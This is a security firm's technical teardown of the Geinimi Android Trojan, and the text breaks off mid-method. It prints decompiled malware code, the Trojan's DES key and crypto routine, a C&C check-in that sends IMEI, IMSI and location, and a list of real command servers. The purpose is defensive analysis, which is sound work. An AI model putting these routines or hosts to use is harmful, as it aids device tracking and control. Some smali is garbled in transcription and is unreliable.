

Geinimi Trojan Technical Teardown

Timothy Strazzere, Timothy Wyatt

Lookout Mobile Security

<http://www.mylookout.com>

1/6/2011

Introduction

Geinimi is a Trojan affecting Android devices that has come to Lookout's attention as emerging through third-party application sources (markets and app-sharing forums), primarily in China. Geinimi is noteworthy as it represents a reasonable jump in capabilities and sophistication over existing Android malware observed to date. The word Geinimi (Ghay-knee-mē) is derived from the name of the first repackaged application it was discovered in. Geinimi is Mandarin Chinese for "give you rice", essentially slang for "give you money". The Trojan was originally injected using the package "*com.geinimi*" but as it spread, subsequent variants took on an obfuscated package scheme.

In this document, we outline how the Trojan starts, what obfuscation is employed, how the command and control system works, and what commands we are able to observe in action. To simplify the discussion, we will focus primarily on an infected sample of a game called "Monkey Jump 2":

```
File: MonkeyJump2.apk
Md5: e0106a0f1e687834ad3c91e599ace1be
Sha1: 179e1c69ceaf2a98fdca1817a3f3f1fa28236b13
Geinimi SDK: 10.7
```

Anatomy and Lifecycle

Geinimi is distributed inside of repackaged versions of legitimate applications. An infected app requests significant permissions over and above its legitimate counterpart. Below are the original limited permissions of a clean sample of the app:

```
android.permission.INTERNET  
android.permission.ACCESS_COARSE_LOCATION  
android.permission.READ_PHONE_STATE  
android.permission.VIBRATE
```

Compare to the infected sample, carrying the following permissions:

```
android.permission.INTERNET  
android.permission.ACCESS_COARSE_LOCATION  
android.permission.READ_PHONE_STATE  
android.permission.VIBRATE  
com.android.launcher.permission.INSTALL_SHORTCUT  
android.permission.ACCESS_FINE_LOCATION  
android.permission.CALL_PHONE  
android.permission.MOUNT_UNMOUNT_FILESYSTEMS  
android.permission.READ_CONTACTS  
android.permission.READ_SMS  
android.permission.SEND_SMS  
android.permission.SET_WALLPAPER  
android.permission.WRITE_CONTACTS  
android.permission.WRITE_EXTERNAL_STORAGE  
com.android.browser.permission.READ_HISTORY_BOOKMARKS  
com.android.browser.permission.WRITE_HISTORY_BOOKMARKS  
android.permission.ACCESS_GPS  
android.permission.ACCESS_LOCATION  
android.permission.RESTART_PACKAGES  
android.permission.RECEIVE_SMS  
android.permission.WRITE_SMS
```

When the author(s) infect a file, they ensure Geinimi starts via two different declared entry points the Android Manifest. The default application activity is overwritten with a new activity that launches the Geinimi service. Additionally, a broadcast receiver listens for the "BOOT_COMPLETED" and "SMS_RECEIVED" intents.

```
<!-- Default activity -->  
<activity  
    android:theme="@android:01030009"  
    android:label="@+F050000"  
    android:name="com.dseffекты.MonkeyJump2.jump2.c.rufCuAtj">  
    <intent-filter>  
        <action android:name="android.intent.action.MAIN"></action>  
        <category android:name="android.intent.category.LAUNCHER"></category>  
    </intent-filter>  
</activity>  
<!-- Broadcast receiver -->  
<receiver android:name="com.dseffекты.MonkeyJump2.jump2.f">  
    <intent-filter>  
        <action android:name="android.intent.action.BOOT_COMPLETED"></action>  
        <category android:name="android.intent.category.LAUNCHER"></category>  
    </intent-filter>  
    <intent-filter android:priority="65535">  
        <action android:name="android.provider.Telephony.SMS_RECEIVED">  
        </action>  
    </intent-filter>  
</receiver>
```

Both entry points execute the method "*startServiceIfMust*", which attempts to connect to the local Geinimi service. If the service is running, it will request the SDK version and see whether it is equal to or newer than itself. Depending on the answer it starts a new service or remains inactive.

Communication with the service happens over a TCP socket on ports 5432, 4501 or 6543. This is most likely done so that multiple instances of Geinimi can co-exist on the same device, without knowing the others' class paths and without accessing each others' services directly. A running service will create a thread to manage the socket. On connection to the socket it listens for a challenge string of "*hi, are you online?*" and responds with "*yes, I'm online!*". The client then sends the Geinimi SDK major and minor version, and the server responds with its own major and minor version. An excerpt from *jump2.h.isPlayingServices* highlights this:

```
.method public static isRunningServices(Landroid/content/Context;)Z
    .registers 13
    const/4 v11, 0x1
    const/4 v2, 0x0
    v0 = "10.7"; // Specific SDK Version for this sample
    invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->f () Ljava/lang/String;
    move-result-object v0
    const-string v1, "\\."
    invoke-virtual {v0, v1}, Ljava/lang/String;-
    >split(Ljava/lang/String;) [Ljava/lang/String;
    move-result-object v0
    v1 = "10"; // Save major version
    aget-object v1, v0, v2
    invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    move-result v1
    v0 = "7"; // Save minor version
    aget-object v0, v0, v11
    invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    move-result v0
    move v3, v2
    :goto_19
        // Get length of port array
    sget-object v4, Lcom/dseffects/MonkeyJump2/jump2/h;->a:[I
    array-length v4, v4
        // Make sure we didn't over the size of the array
    if-ge v2, v4, :cond_93
    if-eqz v3, :cond_22
    move v0, v11
    :goto_21
    return v0
    :cond_22
    :try_start_22
    new-instance v4, Ljava/net/Socket;
    const-string v5, "127.0.0.1"
    v6 = h.a[v0]; // Get a port from ports[], 5432, 4501 or 6543
    sget-object v6, Lcom/dseffects/MonkeyJump2/jump2/h;->a:[I
    aget v6, v6, v2
    v4 = new Socket("127.0.0.1", 5432);
    invoke-direct {v4, v5, v6}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V
    h.b = v4;
    sput-object v4, Lcom/dseffects/MonkeyJump2/jump2/h;->b:Ljava/net/Socket;
    v4 = v4.getInputStream();
    invoke-virtual {v4}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
    move-result-object v4
    v5 = h.b; // Get the socket
    sget-object v5, Lcom/dseffects/MonkeyJump2/jump2/h;->b:Ljava/net/Socket;
    v5 = v5.getOutputStream()
```

```

invoke-virtual {v5}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v5
    v5.write("hi,are you online?".getBytes());
const-string v6, "hi,are you online?"
invoke-virtual {v6}, Ljava/lang/String;->getBytes() [B
move-result-object v6
invoke-virtual {v5, v6}, Ljava/io/OutputStream;->write([B)V
    new Timer().schedule(new u(), 0x1388); // Start timer to close connection
new-instance v6, Ljava/util/Timer;
invoke-direct {v6}, Ljava/util/Timer;-><init>()V
new-instance v7, Lcom/dseffects/MonkeyJump2/jump2/u;
invoke-direct {v7}, Lcom/dseffects/MonkeyJump2/jump2/u;-><init>()V
const-wide/16 v8, 0x1388
invoke-virtual {v6, v7, v8, v9}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V
    // Read in 256 bytes from the inputstream
    v4 = new byte[0x100];
    v8 = v4.read(v4);
const/16 v7, 0x100
new-array v7, v7, [B
invoke-virtual {v4, v7}, Ljava/io/InputStream;->read([B)I
move-result v8
    v9 = new String(v4, 0x0, v8); // Get a string from the byte array
new-instance v9, Ljava/lang/String;
const/4 v10, 0x0
invoke-direct {v9, v7, v10, v8}, Ljava/lang/String;-><init>([BII)V
    v9.equals("yes,I\'m online!");
const-string v7, "yes,I\'m online!"
invoke-virtual {v9, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v7
    // If the strings don't match try the next port
if-eqz v7, :cond_8d
    // Cancel timer, write major and minor version
invoke-virtual {v6}, Ljava/util/Timer;->cancel()V
invoke-virtual {v5, v1}, Ljava/io/OutputStream;->write(I)V
invoke-virtual {v5, v0}, Ljava/io/OutputStream;->write(I)V
    // Read in major and minor versions from running Geinimi
invoke-virtual {v4}, Ljava/io/InputStream;->read()I
move-result v7
invoke-virtual {v4}, Ljava/io/InputStream;->read()I
move-result v8
    // Is running Geinimi major version larger than ours?
if-lt v1, v7, :cond_7e
    // Is running Geinimi major version the same as ours?
if-ne v1, v7, :cond_7f
    // Is running Geinimi minor version greater than ours?
if-gt v0, v8, :cond_7f
    // If the running version is great than ours, return true
:cond_7e
move v3, v11
:cond_7f
    // Else, close the connection - and run our own Geinimi service
invoke-virtual {v5}, Ljava/io/OutputStream;->flush()V
invoke-virtual {v5}, Ljava/io/OutputStream;->close()V
invoke-virtual {v4}, Ljava/io/InputStream;->close()V
sget-object v4, Lcom/dseffects/MonkeyJump2/jump2/h;->b:Ljava/net/Socket;
invoke-virtual {v4}, Ljava/net/Socket;->close()V
:cond_8d
invoke-virtual {v6}, Ljava/util/Timer;->cancel()V
:try_end_90
.catch Ljava/lang/Exception; {:try_start_22 .. :try_end_90} :catch_95
:goto_90
add-int/lit8 v2, v2, 0x1
goto :goto_19
:cond_93
move v0, v3
goto :goto_21
:catch_95
move-exception v4
goto :goto_90
.end method

```

In the class *jump2.j* – we can see where this server socket is accepted. It will respond to the challenge string, read the SDK values and either choose to continue running or stop the current running Geinimi service.

```
.method public final run()V
    .registers 8
    :goto_0
    :try_start_0
        igure-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/e; igure-object v1, p0,
Lcom/dseffects/MonkeyJump2/jump2/j;->a:Lcom/dseffects/MonkeyJump2/jump2/e;
    v1 = v1.c; (ServerSocket)
    igure-object v1, v1, Lcom/dseffects/MonkeyJump2/jump2/e;->c:Ljava/net/ServerSocket;
    v1 = v1.accept()
    invoke-virtual {v1}, Ljava/net/ServerSocket;->accept()Ljava/net/Socket;
move-result-object v1
    igure-object v1, v0, Lcom/dseffects/MonkeyJump2/jump2/e;->d:Ljava/net/Socket;
    igure-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/e;
    igure-object v0, v0, Lcom/dseffects/MonkeyJump2/jump2/e;->d:Ljava/net/Socket;
    v0 = v0.getInputStream()
    invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
move-result-object v0
    igure-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/e;
    igure-object v1, v1, Lcom/dseffects/MonkeyJump2/jump2/e;->d:Ljava/net/Socket;
    v1 = v1.getOutputStream();
    invoke-virtual {v1}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v1
    v2 = new Timer().schedule(new k(this), 0x1388);
new-instance v2, Ljava/util/Timer;
    invoke-direct {v2}, Ljava/util/Timer;-><init>()V
new-instance v3, Lcom/dseffects/MonkeyJump2/jump2/k;
    invoke-direct {v3, p0}, Lcom/dseffects/MonkeyJump2/jump2/k;-
><init>(Lcom/dseffects/MonkeyJump2/jump2/j;)V
    const-wide/16 v4, 0x1388
    invoke-virtual {v2, v3, v4, v5}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V
    v3 = new byte[0x100];
const/16 v3, 0x100
    new-array v3, v3, [B
    v4 = v0.read(v3);
    invoke-virtual {v0, v3}, Ljava/io/InputStream;->read([B)I
move-result v4
    // Convert read bytes into string
new-instance v5, Ljava/lang/String;
const/4 v6, 0x0
    invoke-direct {v5, v3, v6, v4}, Ljava/lang/String;-><init>([BII)V
    v3 = "hi,are you online?";
    v3 = v5.equals(v3);
const-string v3, "hi,are you online?"
    invoke-virtual {v5, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v3
    // If strings don't match, close socket, reopen and wait for connection
if-eqz v3, :cond_96
    v2.cancel(); // cancel timeout task
    invoke-virtual {v2}, Ljava/util/Timer;->cancel()V
    v1.write("yes,I'm online!".getBytes());
const-string v3, "yes,I'm online!"
    invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B
move-result-object v3
    invoke-virtual {v1, v3}, Ljava/io/OutputStream;->write([B)V
    v3 = v0.read(); // Read major sdk version
    invoke-virtual {v0}, Ljava/io/InputStream;->read()I
move-result v3
    v4 = v0.read(); // Read minor sdk version
    invoke-virtual {v0}, Ljava/io/InputStream;->read()I
```

```

move-result v4
    v1.write(0xa) // Send sdk version major
const/16 v5, 0xa;
invoke-virtual {v1, v5}, Ljava/io/OutputStream; ->write(I)V
    v1.write(0x5); // Send sdk version minor
const/4 v5, 0x5
invoke-virtual {v1, v5}, Ljava/io/OutputStream; ->write(I)V
invoke-virtual {v1}, Ljava/io/OutputStream; ->flush()V
invoke-virtual {v1}, Ljava/io/OutputStream; ->close()V
invoke-virtual {v0}, Ljava/io/InputStream; ->close()V
iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/e;
iget-object v0, v0, Lcom/dseffects/MonkeyJump2/jump2/e; ->d:Ljava/net/Socket;
invoke-virtual {v0}, Ljava/net/Socket; ->close()V
    // Get the SDK version
invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k; ->f()Ljava/lang/String;
move-result-object v0
    // Parse SDK version
const-string v1, "\\".\\"
invoke-virtual {v0, v1}, Ljava/lang/String; -
>split(Ljava/lang/String;) [Ljava/lang/String;
move-result-object v0
const/4 v1, 0x0
aget-object v1, v0, v1
invoke-static {v1}, Ljava/lang/Integer; ->parseInt(Ljava/lang/String;)I
move-result v1
const/4 v5, 0x1
aget-object v0, v0, v5
invoke-static {v0}, Ljava/lang/Integer; ->parseInt(Ljava/lang/String;)I
move-result v0
    // Compare received major SDK version to internal SDK major version
if-gt v3, v1, :cond_8c
if-ne v3, v1, :cond_96
    // Compare received minor SDK version to internal SDK minor version
if-le v4, v0, :cond_96
:cond_8c
    // If received SDK version is greater than current, stop this instance of
    // the service
iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/e;
    e.e = true;
const/4 v1, 0x1
input-boolean v1, v0, Lcom/dseffects/MonkeyJump2/jump2/e; ->e:Z
iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/j;-
>a:Lcom/dseffects/MonkeyJump2/jump2/e;
invoke-virtual {v0}, Lcom/dseffects/MonkeyJump2/jump2/e; ->stopSelf()V
    // Else, close the socket, reopen and wait for a new connection
:cond_96
invoke-virtual {v2}, Ljava/util/Timer; ->cancel()V
:try_end_99
. catch Ljava/io/IOException; {:try_start_0 ... :try_end_99} :catch_9b

goto/16 :goto_0

:catch_9b
move-exception v0

goto/16 :goto_0
.end method

```

It's clear through this communication that multiple variants of Geinimi have been created and designed to work with each other on the same device. If a newer variant of Geinimi is installed on the device, the older variant surrenders control to it. This is a rather interesting method since it will minimize duplicating traffic and keep the device "updated" and using the latest Trojan code.



Once the Geinimi service is started, it performs a check-in with the C&C server. The check-in between the server and Trojan is also encrypted, resulting in less conspicuous network traffic. This check-in request occurs every five minutes by default, but can be changed by the server. When checking it, the Trojan may receive new commands to perform. This is illustrated in the request for commands below:

```
07:51:47.551306 52:54:00:12:34:56 > 52:54:00:12:35:02, ethertype IPv4 (0x0800), length 349: 10.0.2.15.47895 > 117.135.134.184.8080: P 241:536(295) ack 1 win 5840  
0x0020: 5018 16d0 ca6a 0000 7061 7261 6d73 3d33 P..??j..params=3  
0x0030: 6666 3864 3235 6334 3337 3030 3935 3339 ff8d25c437009539  
0x0040: 3866 6533 3735 6137 6465 3137 3937 6137 8fe375a7de1797a7  
0x0050: 3564 6137 6661 3336 6235 6365 6534 3166 5da7fa36b5cce41f  
0x0060: 3261 6266 6464 3964 3065 3034 6333 6239 2abfd9d0e04c3b9  
0x0070: 6161 6639 3362 6630 3665 6430 3439 3065 aaf93bf06ed0490e  
0x0080: 3637 3062 3461 6234 6263 6536 6563 3961 670b4ab4bc6ec9a  
0x0090: 3133 3166 3864 3336 3864 3661 3039 3933 131f8d368d6a0993  
0x00a0: 3235 6461 3237 3432 3637 3733 3838 6535 25da2742677388e5  
0x00b0: 3639 6130 3866 3161 6532 3530 3764 3066 69a08f1ae2507d0f  
0x00c0: 3261 6266 6464 3964 3065 3034 6333 6266 2abfd9d0e04c3bf  
0x00d0: 3737 6637 3333 3964 3562 3536 3835 3562 77f7339d5b56855b  
0x00e0: 3538 6136 6533 6333 3063 3466 3037 6233 58a6e3c30c4f07b3  
0x00f0: 6637 6330 3334 3765 3261 3439 3861 6238 f7c0347e2a498ab8  
0x0100: 3631 3964 3533 3231 3036 3330 6637 6563 619d53210630f7ec  
0x0110: 3733 3035 3661 6562 6331 6165 3536 6533 73056aebc1ae56e3  
0x0120: 6665 6631 3863 6266 3335 6431 3163 3134 fef18cbf35d11c14  
0x0130: 6333 3732 3835 3933 3631 6336 3238 6462 c372859361c628db  
0x0140: 6563 6630 6630 6364 3562 3231 3632 62 ecf0f0cd5b2162b
```

This capture shows an infected emulator contacting the Command & Control server; the decrypted value is the following:

PTID=33120001&**IMEI**=0000000000000000&**sdkver**=10.7&**SALESID**=0006&**IMSI**=310260
0000000000&**longitude**=0.0&**latitude**=0.0&**DID**=2001&**autosdkver**=10.7&**CPID**=3312

We can see above that the C&C server can easily identify each infected device uniquely. The *PTID*, *SALESID*, *DID* and *CPID* all appear to be unique per infected package, possibly indicating what infected application the user is running. The IMEI and IMSI can be used to uniquely identify the user, as no phone should have the same values for either of these fields. The longitude and latitude can then be used to track this specific user, and potentially their movements in 5-minute intervals. Finally, the "*sdkver*" and "*autosdkver*" appear to identify the version of the Trojan. With all this information the person controlling the C&C server can uniquely identify the location of each infected phone, what version of Geinimi they are running, the infected application they have installed and potentially issue targeted commands to the device.

These are the main methods of communication used by Geinimi, in the encryption and command and control section we will dive deeper into how the server can issue commands.

Encryption

The crypto used in Geinimi is straight forward, and falls quickly. 56-bit DES is used with a key of `0x0102030405060708`. This is found inside `jump2.e.k`, invoked early in the initialization:

```
.method static constructor <clinit>()V
...
    // Load the array and say it to this.b;
    this.b = new byte[] { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8 };
    const/16 v0, 0x8
    new-array v0, v0, [B
    fill-array-data v0, :array_8c
    sput-object v0, Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B
...
    :array_8c
    .array-data 0x1
        0x1t
        0x2t
        0x3t
        0x4t
        0x5t
        0x6t
        0x7t
        0x8t
    .end array-data
...
.end method
```

This key is used throughout the Geinimi code for several things, such as encrypting/decrypting communications to and from the C&C server, hiding clear-text commands and other strings within the binary, and hiding values in the shared preferences.

As we illustrated in the previous section the communications with the C&C server are encrypted. The encryption and decryption methods are very simple functions, and easily mimicked as follows:

```
/**
 * Encrypt/Decrypt a Geinimi byte array
 *
 * @param array
 *         the byte array to encrypt/decrypt
 * @param mode
 *         Cipher.ENCRYPT_MODE / Cipher.DECRYPT_MODE
 * @return the resulting byte array or null if failed
 */
public static byte[] crypto(byte[] array, int mode) {
    Cipher cipher = null;
    DESKeySpec keySpec = null;

    try {
        if (cipher == null) {
            byte[] key = new byte[] { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8 };
            SecretKeyFactory factory = SecretKeyFactory.getInstance("DES");
            SecretKey secret = factory.generateSecret(new DESKeySpec(key));
            cipher = Cipher.getInstance("DES");
            cipher.init(mode, secret);
        }

        byte[] result = cipher.doFinal(array);

        return result;
    } catch (Exception exception) {
```

```

        System.err.println(exception.toString());
        return null;
    }
}

```

Using the code above we can decrypt Geinimi's strings and communication, and can encrypt payloads to send to the Trojan itself. There is one minor adjustment that must be done to payloads sent from the C&C server to a Geinimi client, as the client expects a static 4 byte header in its response received from the C&C server. This special header is outlined in the check-in task, found in *jump2.e.n a(String server, Map parameters, ByteArrayBuffer response)* function;

```

.method public static
a(Ljava/lang/String;Ljava/util/Map;Lorg/apache/http/util/ByteArrayBuffer;)V
    const/16 v9, 0x69
...
    // Connect to the server passed in as a parameter, post parameters from the Map
...
    :goto_af
        if (v2 > 0x4) goto cond_c2
    if-ge v2, v7, :cond_c2
        v4 = 0x4 - v3;
    sub-int v4, v7, v3
    v0.read(v1, v3, v4); // Read the first four bytes
    invoke-virtual {v0, v1, v3, v4}, Ljava/io/DataInputStream;->read([BII)I
    move-result v4
        // Add the number of bytes read, if less than 4, wait for page to load
    add-int/2addr v3, v4
    if-ge v3, v7, :cond_c2
    const-wide/16 v4, 0x64
    :try_start_bc
    invoke-static {v4, v5}, Ljava/lang/Thread;->sleep(J)V
    :try_end_bf
    .catch Ljava/lang/InterruptedException; {:try_start_bc .. :try_end_bf} :catch_100
    :goto_bf
    add-int/lit8 v2, v2, 0x1
    goto :goto_af
        // Otherwise continue
    :cond_c2
        // Check if the four above bytes were "himi" otherwise throw IOException
        if((v1[0x0] & 0xFF) != 0x68) then goto :cond_e0
    aget-byte v2, v1, v6
    and-int/lit16 v2, v2, 0xff
    const/16 v3, 0x68
    if-ne v2, v3, :cond_e0
        if((v1[0x1] & 0xFF) != 0x69) then goto :cond_e0
    aget-byte v2, v1, v8
    and-int/lit16 v2, v2, 0xff
    if-ne v2, v9, :cond_e0
        if((v1[0x2] & 0xFF) != 0x6d) then goto :cond_e0
    const/4 v2, 0x2
    aget-byte v2, v1, v2
    and-int/lit16 v2, v2, 0xff
    const/16 v3, 0x6d
    if-ne v2, v3, :cond_e0
        if((v1[0x3] & 0xFF) == 0x0x69) then goto :cond_e8
    const/4 v2, 0x3
    aget-byte v1, v1, v2
    and-int/lit16 v1, v1, 0xff
    if-eq v1, v9, :cond_e8
    :cond_e0
        // "himi" was not in the control bits, throw an exception
    new-instance v0, Ljava/io/IOException;
    const-string v1, "not my URL"
    invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
    throw v0
}

```

```

:cond_e8
    // Control bits match, read 0x200 bytes and append them to the response
    // loop if needed for more bytes
    invoke-virtual {p2}, Lorg/apache/http/util/ByteArrayBuffer; ->clear()V
    const/16 v1, 0x200
    new-array v1, v1, [B
    :goto_ef
    array-length v2, v1
    invoke-virtual {v0, v1, v6, v2}, Ljava/io/DataInputStream; ->read([BII)I
    move-result v2
    if-lez v2, :cond_fa
    invoke-virtual {p2, v1, v6, v2}, Lorg/apache/http/util/ByteArrayBuffer; -
>append([BII)V
    goto :goto_ef
    :cond_fa
    if-eqz p0, :cond_ff
    invoke-virtual {p0}, Ljava/net/HttpURLConnection; ->disconnect()V
    :cond_ff
    return-void
    :catch_100
    move-exception v4
    goto :goto_bf
.end method

```

Knowing this, we can now communicate with the Geinimi client ourselves. If we can point Geinimi to our own server, we can deliver commands that the client can consume.

A second use of crypto in Geinimi is to make reverse engineering more challenging. Because Geinimi encrypts many of its strings, they don't appear directly in the strings table of the application's *classes.dex* file. Strings are decrypted at runtime, yielding repeated calls to the decryption routine in Geinimi code:

```

// This will result in this.v = "CmdID"
this.v = e/p.a(0x23);
const/16 v0, 0x23
invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/p; ->a(I)Ljava/lang/String;
move-result-object v0
sput-object v0, Lcom/dseffects/MonkeyJump2/jump2/Pushable; ->v:Ljava/lang/String;
// This will result in this.w = "AdID"
this.w = e/p.a(0x24);
const/16 v0, 0x24
invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/p; ->a(I)Ljava/lang/String;
move-result-object v0
sput-object v0, Lcom/dseffects/MonkeyJump2/jump2/Pushable; ->w:Ljava/lang/String;

```

Finally, Geinimi also encrypts contents of its shared preferences file. After an initial run of the Geinimi service, values are saved into the shared-preferences. Here we find a list of servers Geinimi will rotate through, as well as data saved by a few of its command handlers. An example shared preference file from MonkeyJump2 is below:

```

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="hkey7">8582ac70d93824dbaef87b87f1740969752f7edf778a0f6c</string>
<int name="lastIndex" value="0" />
<string name="hkey8">bfe19c387d318bb201571839c01bb3d9df10f333c75b22b7</string>
<string name="hkey9">d86270ab01c1791740634cd42ccd3160752f7edf778a0f6c</string>
<int name="hLength" value="11" />
<string name="hkey2">11a26b72f2a03c86aa6c742b5b62af6c752f7edf778a0f6c</string>
<string name="hkey1">0d27e799584e494031a69f30b4d74c74df10f333c75b22b7</string>
<string name="hkey0">efaf9e30fee22b96131de17c6793d6f2df10f333c75b22b7</string>
<string name="hkey10">5ee24082afa27568f4f1e0acc961d767dd7e9ad2131ec4c3</string>
<string name="hkey6">9a9b5cd5e7d83bce7105c13595664e67df10f333c75b22b7</string>
<string name="hkey5">38e62db5062dd9abb3791b0dbbf5375cdf10f333c75b22b7</string>

```

```
<string name="hkey4">0f04c59bbe85adf23f722a805bec179ddd7e9ad2131ec4c3</string>
<string name="hkey3">85de3781de9da3b8bd6637d31cf4c70bdd7e9ad2131ec4c3</string>
</map>
```

Values in this shared-preferences turn out to be the C&C servers that Geinimi attempts to connect to. Decrypted, in *hkey* order, they are the following domains:

```
www.widifu.com:8080
www.udaoare.com:8080
www.frijd.com:8080
www.islpast.com:8080
www.piajesj.com:8080
www.qoewsl.com:8080
www.weolir.com:8080
www.uisoa.com:8080
www.riusdu.com:8080
www.aiucr.com:8080
117.135.134.185:8080
```

We will show later that these hosts can be updated remotely as the controller can issue an “*updateHost*” command that stores new values to the shared preferences file.

Command and Control

The main thread running within Geinimi has five different states it can be in; *start*, *idle*, *download*, *parse* and *transact*.

START – Transitions to the *download* state.

DOWNLOAD - Performs the check-in previously outlined and transitions to *parse*.

PARSE – Attempts to translate server-supplied data into command objects.

TRANSACT – Executes command(s) and returns to *idle*.

IDLE – Sleeps for a server-controlled period of time defaulting to 5 minutes.

This primary event loop is found in *jump2.g*, including the following section that processes the *download* state:

```
// Perform a GET to the server in v1, using map in v0 and the bytearray v2 which
is the where the response is stored
    invoke-static {v1, v0, v2}, Lcom/dseffects/MonkeyJump2/jump2/e/n;-
>a(Ljava/lang/String;Ljava/util/Map;Lorg/apache/http/util/ByteArrayBuffer;)V
    :try_end_14d
    .catch Ljava/io/IOException; {:try_start_144 .. :try_end_14d} :catch_17f
    .catch Ljava/lang/Exception; {:try_start_144 .. :try_end_14d} :catch_16f
    :try_start_14d
        v0 = this.f;
    igure-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/g;-
>f:Lorg/apache/http/util/ByteArrayBuffer;
    v0 = v0.toByteArray();
    invoke-virtual {v0}, Lorg/apache/http/util/ByteArrayBuffer;->toByteArray() [B
    move-result-object v0
        // Decrypt response
        v0 = e/p.a(v0);
    invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a ([B) [B
    move-result-object v0
        v1 = this.f;
    igure-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/g;-
>f:Lorg/apache/http/util/ByteArrayBuffer;
        v1.clear();
```

```

invoke-virtual {v1}, Lorg/apache/http/util/ByteArrayBuffer; ->clear()V
    v1 = this.f;
    ige-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/g;-
>f:Lorg/apache/http/util/ByteArrayBuffer;
    // Replaced the saved encrypted array with the decrypted array
    v1.append(v0, 0x0, v0.length());
    const/4 v2, 0x0
    array-length v3, v0
    invoke-virtual {v1, v0, v2, v3}, Lorg/apache/http/util/ByteArrayBuffer;-
>append([BII)V

```

This code retrieves commands from the server and saves them to the *this.f* *ByteArrayBuffer* instance. The excerpt below is from the *PARSE* state, showing command creation from the downloaded buffer:

```

:pswitch_18b // case 4 "PARSE"
:try_start_18b
    // load response
    v1 = new ByteArrayInputStream(this.f).toByteArray().
new-instance v0, Ljava/io/ByteArrayInputStream;
    ige-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/g;-
>f:Lorg/apache/http/util/ByteArrayBuffer;
    invoke-virtual {v1}, Lorg/apache/http/util/ByteArrayBuffer; ->toByteArray() [B
move-result-object v1
    // convert xml to a hashmap
    v0 = e.r.a(new ByteArrayInputStream(v1));
    invoke-direct {v0, v1}, Ljava/io/ByteArrayInputStream; -><init>([B)V
    invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/r;-
>a(Ljava/io/InputStream;)Ljava/util/HashMap;
move-result-object v0
    // Convert the HashMap into a Pushable
    v0 = Pushable.b(v0);
    invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/Pushable;-
>b(Ljava/util/HashMap;)Lcom/dseffects/MonkeyJump2/jump2/Pushable;
move-result-object v0
    // Save pushable (make commands)
    this.g = v0;
    ige-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/g;-
>g:Lcom/dseffects/MonkeyJump2/jump2/Pushable;

```

The server returns an XML document, which is subsequently parsed to populate a *HashMap*. The contents of the *HashMap* are the "*CmdID*" (with its associated value) and one or more command triggers that are associated to their parameter strings. The Map is then handed off to a "*Pushable*" instance which serves as a handler, generating command objects and managing their execution. There are two "*Pushable*" handlers, one for each *CmdID* partition.

```

// Take in the hashmap (derived from the XML from the server) and parse
// out the CmdID and create Pushables from them
.method public static b(Ljava/util/HashMap;)Lcom/dseffects/MonkeyJump2/jump2/Pushable;
...
    // Retrieve object stored with "CmdID"
    v0 = p0.get(this.v); // "CmdID"
    sget-object v0, Lcom/dseffects/MonkeyJump2/jump2/Pushable; ->v:Ljava/lang/String;
    invoke-virtual {p0, v0}, Ljava/util/HashMap;-
>get(Ljava/lang/Object;)Ljava/lang/Object;
move-result-object v0
    // Make sure it's a String and parse it as an integer
    check-cast v0, Ljava/lang/String;
    invoke-static {v0}, Ljava/lang/Integer; ->parseInt(Ljava/lang/String;)I
move-result v2
    // Retrieve object stored with "AdID"
    v0 = p0.get(this.w); // "AdID"
    sget-object v0, Lcom/dseffects/MonkeyJump2/jump2/Pushable; ->w:Ljava/lang/String;

```

```

invoke-virtual {p0, v0}, Ljava/util/HashMap;-
>get(Ljava/lang/Object;)Ljava/lang/Object;
move-result-object v0
    // Make sure the object retrieved is a String and parse it as an integer
check-cast v0, Ljava/lang/String;
invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v0
    if(v2 != v4) // Was CmdID 1?
if-ne v2, v4, :cond_46
    // If CmdID == 0x1
    // Create a CmdId.1 Pushable
    v1 = new c(p0);
new-instance v1, Lcom/dseffects/MonkeyJump2/jump2/c;
invoke-direct {v1, p0}, Lcom/dseffects/MonkeyJump2/jump2/c;-
><init>(Ljava/util/HashMap;)V
:cond_27
:goto_27
    if(v1 == 0) then return 0;
if-eqz v1, :cond_2d
    // Save CmdID
